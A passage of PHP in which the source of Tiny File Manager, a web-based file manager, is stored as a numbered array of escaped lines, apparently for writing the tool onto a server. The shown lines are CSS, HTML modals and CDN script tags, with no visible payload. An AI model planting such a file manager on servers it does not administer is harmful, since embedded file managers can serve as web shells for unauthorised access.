16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E\");}", 3457 => "        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}", 3458 => "        .fm-login-page .brand img{ width:100%}", 3459 => "        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}", 3460 => "        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}", 3461 => "        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}", 3462 => "        .fm-login-page .form-control{ border-width:2.3px}", 3463 => "        .fm-login-page .form-group label{ width:100%}", 3464 => "        .fm-login-page .btn.btn-block{ padding:12px 10px}", 3465 => "        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}", 3466 => "        @media screen and (max-width:425px){", 3467 => "            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}", 3468 => "        }", 3469 => "        @media screen and (max-width:320px){", 3470 => "            .fm-login-page .card.fat{ padding:0}", 3471 => "            .fm-login-page .card.fat .card-body{ padding:15px}", 3472 => "        }", 3473 => "        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}", 3474 => "        .message.ok{ border-color:green;color:green}", 3475 => "        .message.error{ border-color:red;color:red}", 3476 => "        .message.alert{ border-color:orange;color:orange}", 3477 => "        body.fm-login-page.theme-dark {background-color: #2f2a2a;}", 3478 => "        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }", 3479 => "    </style>", 3480 => "</head>", 3481 => "<body class=\"fm-login-page <?php echo (FM_THEME == \"dark\") ? 'theme-dark' : ''; ?>\">", 3482 => "<div id=\"wrapper\" class=\"container-fluid\">", 3483 => "", 3484 => "    <?php", 3485 => "    }", 3486 => "", 3487 => "    /**", 3488 => "     * Show page footer in Login Form", 3489 => "     */", 3490 => "    function fm_show_footer_login()", 3491 => "    {", 3492 => "    ?>", 3493 => "</div>", 3494 => "<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js\"></script>", 3495 => "<script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js\"></script>", 3496 => "</body>", 3497 => "</html>", 3498 => "<?php", 3499 => "}", 3500 => "", 3501 => "/**", 3502 => " * Show Header after login", 3503 => " */", 3504 => "function fm_show_header()", 3505 => "{", 3506 => "\$sprites_ver = '20160315';", 3507 => "header(\"Content-Type: text/html; charset=utf-8\");", 3508 => "header(\"Expires: Sat, 26 Jul 1997 05:00:00 GMT\");", 3509 => "header(\"Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\");", 3510 => "header(\"Pragma: no-cache\");", 3511 => "", 3512 => "global \$lang, \$root_url, \$sticky_navbar, \$favicon_path;", 3513 => "\$isStickyNavBar = \$sticky_navbar ? 'navbar-fixed' : 'navbar-normal';", 3514 => "?>", 3515 => "<!DOCTYPE html>", 3516 => "<html>", 3517 => "<head>", 3518 => "    <meta charset=\"utf-8\">", 3519 => "    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">", 3520 => "    <meta name=\"description\" content=\"Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager\">", 3521 => "    <meta name=\"author\" content=\"CCP Programmers\">", 3522 => "    <meta name=\"robots\" content=\"noindex, nofollow\">", 3523 => "    <meta name=\"googlebot\" content=\"noindex\">", 3524 => "    <?php if(\$favicon_path) { echo '<link rel=\"icon\" href=\"'.fm_enc(\$favicon_path).'\" type=\"image/png\">'; } ?>", 3525 => "    <title><?php echo fm_enc(APP_TITLE) ?></title>", 3526 => "    <link rel=\"stylesheet\" href=\"https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css\">", 3527 => "    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css\">", 3528 => "    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.css\" />", 3529 => "    <?php if (FM_USE_HIGHLIGHTJS): ?>", 3530 => "    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/styles/<?php echo FM_HIGHLIGHTJS_STYLE ?>.min.css\">", 3531 => "    <?php endif; ?>", 3532 => "    <style>", 3533 => "        body { font-size:14px;color:#222;background:#F7F7F7; }", 3534 => "        body.navbar-fixed { margin-top:55px; }", 3535 => "        a:hover, a:visited, a:focus { text-decoration:none !important; }", 3536 => "        * { -webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important; }", 3537 => "        .filename, td, th { white-space:nowrap  }", 3538 => "        .navbar-brand { font-weight:bold; }", 3539 => "        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }", 3540 => "        .nav-item.avatar a > i { font-size:15px; }", 3541 => "        .nav-item.avatar .dropdown-menu a { font-size:13px; }", 3542 => "        #search-addon { font-size:12px;border-right-width:0; }", 3543 => "        #search-addon2 { background:transparent;border-left:0; }", 3544 => "        .bread-crumb { color:#cccccc;font-style:normal; }", 3545 => "        #main-table .filename a { color:#222222; }", 3546 => "        .table td, .table th { vertical-align:middle !important; }", 3547 => "        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; }", 3548 => "        .table-sm td, .table-sm th { padding:.4rem; }", 3549 => "        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }", 3550 => "        .hidden { display:none  }", 3551 => "        pre.with-hljs { padding:0  }", 3552 => "        pre.with-hljs code { margin:0;border:0;overflow:visible  }", 3553 => "        code.maxheight, pre.maxheight { max-height:512px  }", 3554 => "        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }", 3555 => "        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }", 3556 => "        .path { margin-bottom:10px  }", 3557 => "        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }", 3558 => "        .right { text-align:right  }", 3559 => "        .center, .close, .login-form { text-align:center  }", 3560 => "        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }", 3561 => "        .message.ok { border-color:green;color:green  }", 3562 => "        .message.error { border-color:red;color:red  }", 3563 => "        .message.alert { border-color:orange;color:orange  }", 3564 => "        .preview-img { max-width:100%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC)  }", 3565 => "        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:3px  }", 3566 => "        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }", 3567 => "        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }", 3568 => "        .compact-table { border:0;width:auto  }", 3569 => "        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }", 3570 => "        .compact-table tr:hover td { background-color:#fff  }", 3571 => "        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }", 3572 => "        .break-word { word-wrap:break-word;margin-left:30px  }", 3573 => "        .break-word.float-left a { color:#7d7d7d  }", 3574 => "        .break-word + .float-right { padding-right:30px;position:relative  }", 3575 => "        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }", 3576 => "        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }", 3577 => "        @media (max-width:481px) {", 3578 => "            #editor { top:150px; }", 3579 => "        }", 3580 => "        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }", 3581 => "        .btn-2 { border-radius:0;padding:3px 6px;font-size:small; }", 3582 => "        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:\"\\f016\";margin-right:5px }", 3583 => "        li.folder:before { content:\"\\f114\" }", 3584 => "        i.fa.fa-folder-o { color:#0157b3 }", 3585 => "        i.fa.fa-picture-o { color:#26b99a }", 3586 => "        i.fa.fa-file-archive-o { color:#da7d7d }", 3587 => "        .btn-2 i.fa.fa-file-archive-o { color:inherit }", 3588 => "        i.fa.fa-css3 { color:#f36fa0 }", 3589 => "        i.fa.fa-file-code-o { color:#007bff }", 3590 => "        i.fa.fa-code { color:#cc4b4c }", 3591 => "        i.fa.fa-file-text-o { color:#0096e6 }", 3592 => "        i.fa.fa-html5 { color:#d75e72 }", 3593 => "        i.fa.fa-file-excel-o { color:#09c55d }", 3594 => "        i.fa.fa-file-powerpoint-o { color:#f6712e }", 3595 => "        i.go-back { font-size:1.2em;color:#007bff; }", 3596 => "        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }", 3597 => "        .dataTables_filter { display:none; }", 3598 => "        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }", 3599 => "        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }", 3600 => "        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }", 3601 => "        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }", 3602 => "        .footer-action li { margin-bottom:10px; }", 3603 => "        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }", 3604 => "        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }", 3605 => "        .ekko-lightbox .modal-dialog { max-width:98%; }", 3606 => "        .ekko-lightbox-item.fade.in.show .row { background:#fff; }", 3607 => "        .ekko-lightbox-nav-overlay { display:flex !important;opacity:1 !important;height:auto !important;top:50%; }", 3608 => "        .ekko-lightbox-nav-overlay a { opacity:1 !important;width:auto !important;text-shadow:none !important;color:#3B3B3B; }", 3609 => "        .ekko-lightbox-nav-overlay a:hover { color:#20507D; }", 3610 => "        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }", 3611 => "        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }", 3612 => "        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }", 3613 => "        to { bottom:30px;opacity:1; }", 3614 => "        }", 3615 => "        @keyframes fadein { from { bottom:0;opacity:0; }", 3616 => "        to { bottom:30px;opacity:1; }", 3617 => "        }", 3618 => "        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }", 3619 => "        to { bottom:0;opacity:0; }", 3620 => "        }", 3621 => "        @keyframes fadeout { from { bottom:30px;opacity:1; }", 3622 => "        to { bottom:0;opacity:0; }", 3623 => "        }", 3624 => "        #main-table span.badge { border-bottom:2px solid #f8f9fa }", 3625 => "        #main-table span.badge:nth-child(1) { border-color:#df4227 }", 3626 => "        #main-table span.badge:nth-child(2) { border-color:#f8b600 }", 3627 => "        #main-table span.badge:nth-child(3) { border-color:#00bd60 }", 3628 => "        #main-table span.badge:nth-child(4) { border-color:#4581ff }", 3629 => "        #main-table span.badge:nth-child(5) { border-color:#ac68fc }", 3630 => "        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }", 3631 => "        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6.text-right { padding:0; }", 3632 => "        }", 3633 => "        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }", 3634 => "        .lds-facebook { display:none;position:relative;width:64px;height:64px }", 3635 => "        .lds-facebook div,.lds-facebook.show-me { display:inline-block }", 3636 => "        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }", 3637 => "        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }", 3638 => "        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }", 3639 => "        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }", 3640 => "        @keyframes lds-facebook { 0% { top:6px;height:51px }", 3641 => "        100%,50% { top:19px;height:26px }", 3642 => "        }", 3643 => "        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }", 3644 => "        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}", 3645 => "        .c-preview-img {", 3646 => "            max-width: 300px;", 3647 => "        }", 3648 => "    </style>", 3649 => "    <?php", 3650 => "    if (FM_THEME == \"dark\"): ?>", 3651 => "        <style>", 3652 => "            body.theme-dark { background-color: #2f2a2a; }", 3653 => "            .list-group .list-group-item { background: #343a40; }", 3654 => "            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #ffffff; }", 3655 => "            a, a:hover, a:visited, a:active, #main-table .filename a { color: #00ff1f; }", 3656 => "            ul#search-wrapper li:nth-child(odd) { background: #f9f9f9cc; }", 3657 => "            .theme-dark .btn-outline-primary { color: #00ff1f; border-color: #00ff1f; }", 3658 => "            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #028211;}", 3659 => "        </style>", 3660 => "    <?php endif; ?>", 3661 => "</head>", 3662 => "<body class=\"<?php echo (FM_THEME == \"dark\") ? 'theme-dark' : ''; ?> <?php echo \$isStickyNavBar; ?>\">", 3663 => "<div id=\"wrapper\" class=\"container-fluid\">", 3664 => "", 3665 => "    <!-- New Item creation -->", 3666 => "    <div class=\"modal fade\" id=\"createNewItem\" tabindex=\"-1\" role=\"dialog\" aria-label=\"newItemModalLabel\" aria-hidden=\"true\">", 3667 => "        <div class=\"modal-dialog\" role=\"document\">", 3668 => "            <div class=\"modal-content <?php echo fm_get_theme(); ?>\">", 3669 => "                <div class=\"modal-header\">", 3670 => "                    <h5 class=\"modal-title\" id=\"newItemModalLabel\"><i class=\"fa fa-plus-square fa-fw\"></i><?php echo lng('CreateNewItem') ?></h5>", 3671 => "                    <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\">", 3672 => "                        <span aria-hidden=\"true\">&times;</span>", 3673 => "                    </button>", 3674 => "                </div>", 3675 => "                <div class=\"modal-body\">", 3676 => "                    <p><label for=\"newfile\"><?php echo lng('ItemType') ?> </label></p>", 3677 => "", 3678 => "                    <div class=\"custom-control custom-radio custom-control-inline\">", 3679 => "                        <input type=\"radio\" id=\"customRadioInline1\" name=\"newfile\" value=\"file\" class=\"custom-control-input\">", 3680 => "                        <label class=\"custom-control-label\" for=\"customRadioInline1\"><?php echo lng('File') ?></label>", 3681 => "                    </div>", 3682 => "", 3683 => "                    <div class=\"custom-control custom-radio custom-control-inline\">", 3684 => "                        <input type=\"radio\" id=\"customRadioInline2\" name=\"newfile\" value=\"folder\" class=\"custom-control-input\" checked=\"\">", 3685 => "                        <label class=\"custom-control-label\" for=\"customRadioInline2\"><?php echo lng('Folder') ?></label>", 3686 => "                    </div>", 3687 => "", 3688 => "                    <p class=\"mt-3\"><label for=\"newfilename\"><?php echo lng('ItemName') ?> </label></p>", 3689 => "                    <input type=\"text\" name=\"newfilename\" id=\"newfilename\" value=\"\" class=\"form-control\">", 3690 => "                </div>", 3691 => "                <div class=\"modal-footer\">", 3692 => "                    <button type=\"button\" class=\"btn btn-outline-primary\" data-dismiss=\"modal\"><i class=\"fa fa-times-circle\"></i> <?php echo lng('Cancel') ?></button>", 3693 => "                    <button type=\"button\" class=\"btn btn-success\" onclick=\"newfolder('<?php echo fm_enc(FM_PATH) ?>');return false;\"><i class=\"fa fa-check-circle\"></i> <?php echo lng('CreateNow') ?></button>", 3694 => "                </div>", 3695 => "            </div>", 3696 => "        </div>", 3697 => "    </div>", 3698 => "", 3699 => "    <!-- Modal -->", 3700 => "    <div class=\"modal fade\" id=\"searchModal\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"searchModalLabel\" aria-hidden=\"true\">", 3701 => "      <div class=\"modal-dialog modal-lg\" role=\"document\">", 3702 => "        <div class=\"modal-content <?php echo fm_get_theme(); ?>\">", 3703 => "          <div class=\"modal-header\">", 3704 => "            <h5 class=\"modal-title col-10\" id=\"searchModalLabel\">", 3705 => "                <div class=\"input-group input-group\">", 3706 => "                    <input type=\"text\" class=\"form-control\" placeholder=\"<?php echo lng('Search') ?> a files\" aria-label=\"<?php echo lng('Search') ?>\" aria-describedby=\"search-addon3\" id=\"advanced-search\" autofocus required>", 3707 => "                    <div class=\"input-group-append\">", 3708 => "                        <span class=\"input-group-text\" id=\"search-addon3\"><i class=\"fa fa-search\"></i></span>", 3709 => "                    </div>", 3710 => "                </div>", 3711 => "            </h5>", 3712 => "            <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\">", 3713 => "              <span aria-hidden=\"true\">&times;</span>", 3714 => "            </button>", 3715 => "          </div>", 3716 => "          <div class=\"modal-body\">", 3717 => "            <form action=\"\" method=\"post\">", 3718 => "                <div class=\"lds-facebook\"><div></div><div></div><div></div></div>", 3719 => "                <ul id=\"search-wrapper\">", 3720 => "                    <p class=\"m-2\"><?php echo lng('Search file in folder and subfolders...') ?></p>", 3721 => "                </ul>", 3722 => "            </form>", 3723 => "          </div>", 3724 => "        </div>", 3725 => "      </div>", 3726 => "    </div>", 3727 => "    <script type=\"text/html\" id=\"js-tpl-modal\">", 3728 => "        <div class=\"modal fade\" id=\"js-ModalCenter-<%this.id%>\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"ModalCenterTitle\" aria-hidden=\"true\">", 3729 => "            <div class=\"modal-dialog modal-dialog-centered\" role=\"document\">", 3730 => "                <div class=\"modal-content\">", 3731 => "                    <div class=\"modal-header\">", 3732 => "                        <h5 class=\"modal-title\" id=\"ModalCenterTitle\"><%this.title%></h5>", 3733 => "                        <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-label=\"Close\">", 3734 => "                            <span aria-hidden=\"true\">&times;</span>", 3735 => "                        </button>", 3736 => "                    </div>", 3737 => "                    <div class=\"modal-body\">", 3738 => "                        <%this.content%>", 3739 => "                    </div>", 3740 => "                    <div class=\"modal-footer\">", 3741 => "                        <button type=\"button\" class=\"btn btn-outline-primary\" data-dismiss=\"modal\"><i class=\"fa fa-times-circle\"></i> <?php echo lng('Cancel') ?></button>", 3742 => "                        <%if(this.action){%><button type=\"button\" class=\"btn btn-primary\" id=\"js-ModalCenterAction\" data-type=\"js-<%this.action%>\"><%this.action%></button><%}%>", 3743 => "                    </div>", 3744 => "                </div>", 3745 => "            </div>", 3746 => "        </div>", 3747 => "    </script>", 3748 => "", 3749 => "    <?php", 3750 => "    }", 3751 => "", 3752 => "    /**", 3753 => "     * Show page footer", 3754 => "     */", 3755 => "    function fm_show_footer()", 3756 => "    {", 3757 => "    ?>", 3758 => "</div>", 3759 => "<script src=\"https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js\"></script>", 3760 => "<script src=\"https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js\"></script>", 3761 => "<script src=\"https://cdn.datatables.net/1.10.23/js/jquery.dataTables.min.js\"></script>", 3762 => "<script src=\"https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js\"></script>", 3763 => "<?php if (FM_USE_HIGHLIGHTJS): ?>", 3764 => "    <script src=\"https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/highlight.min.js\"></script>", 3765 => "    <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>", 3766 => "<?php endif; 